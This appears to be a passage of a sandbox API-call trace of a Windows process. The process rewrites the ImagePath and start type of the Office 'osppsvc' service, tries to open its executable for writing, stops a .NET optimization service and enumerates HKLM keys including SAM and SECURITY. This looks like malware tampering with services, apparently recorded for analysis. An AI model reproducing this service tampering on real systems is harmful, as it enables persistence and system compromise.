[0249.046] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0249.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0249.046] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3e8 [0249.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0249.046] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0249.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0249.046] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.046] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0249.047] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0249.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0249.047] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0249.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0249.047] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0249.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0249.047] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0249.047] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0249.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0249.047] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0249.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0249.047] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0249.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0249.047] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0249.047] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0249.047] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0249.048] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0249.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0249.048] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0249.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0249.048] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE\"", cbData=0x5e | out: lpData="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE\"") returned 0x0 [0249.048] CommandLineToArgvW (in: lpCmdLine="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE\"", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" [0249.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0249.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0249.048] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0249.048] LocalFree (hMem=0x7f03d0) returned 0x0 [0249.048] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE\"", cbData=0x5e | out: lpData="\"C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE\"") returned 0x0 [0249.048] OpenServiceW (hSCManager=0x803918, lpServiceName="osppsvc", dwDesiredAccess=0x2) returned 0x8038a0 [0249.082] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0249.083] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0249.083] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.083] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0249.083] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0249.083] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0249.083] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0249.083] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0249.083] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.083] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.083] RegCloseKey (hKey=0x154) returned 0x0 [0249.083] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0249.083] RegCloseKey (hKey=0x148) returned 0x0 [0249.083] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0249.083] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0249.083] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xafbc0000, ftLastWriteTime.dwHighDateTime=0x1ca90be, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0249.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0249.084] GetLastError () returned 0x20 [0249.084] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0249.084] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0249.084] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0249.084] OpenServiceW (hSCManager=0x803918, lpServiceName="clr_optimization_v2.0.50727_32", dwDesiredAccess=0x20) returned 0x803990 [0249.085] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0249.085] GetLastError () returned 0x425 [0249.085] CloseServiceHandle (hSCObject=0x803990) returned 1 [0249.085] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0249.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0249.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0249.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0249.086] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0249.086] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0249.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0249.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.086] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.086] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.086] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.086] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0249.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0249.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.086] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.086] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.086] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.086] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0249.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.086] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0249.086] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.086] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.086] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.087] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0249.087] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.087] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0249.087] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.087] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0249.087] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.087] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0249.087] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.087] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0249.087] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.087] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.087] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0249.087] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.087] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0249.088] RegCloseKey (hKey=0x80000002) returned 0x0 [0249.088] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0249.088] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.088] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0249.088] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.088] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0249.088] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.088] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0249.088] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.088] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0249.088] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0249.088] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f18e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0249.088] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.088] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0249.088] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0249.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.089] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.089] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.089] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.089] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0249.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.089] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0249.089] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.089] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.089] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.089] RtlFreeHeap 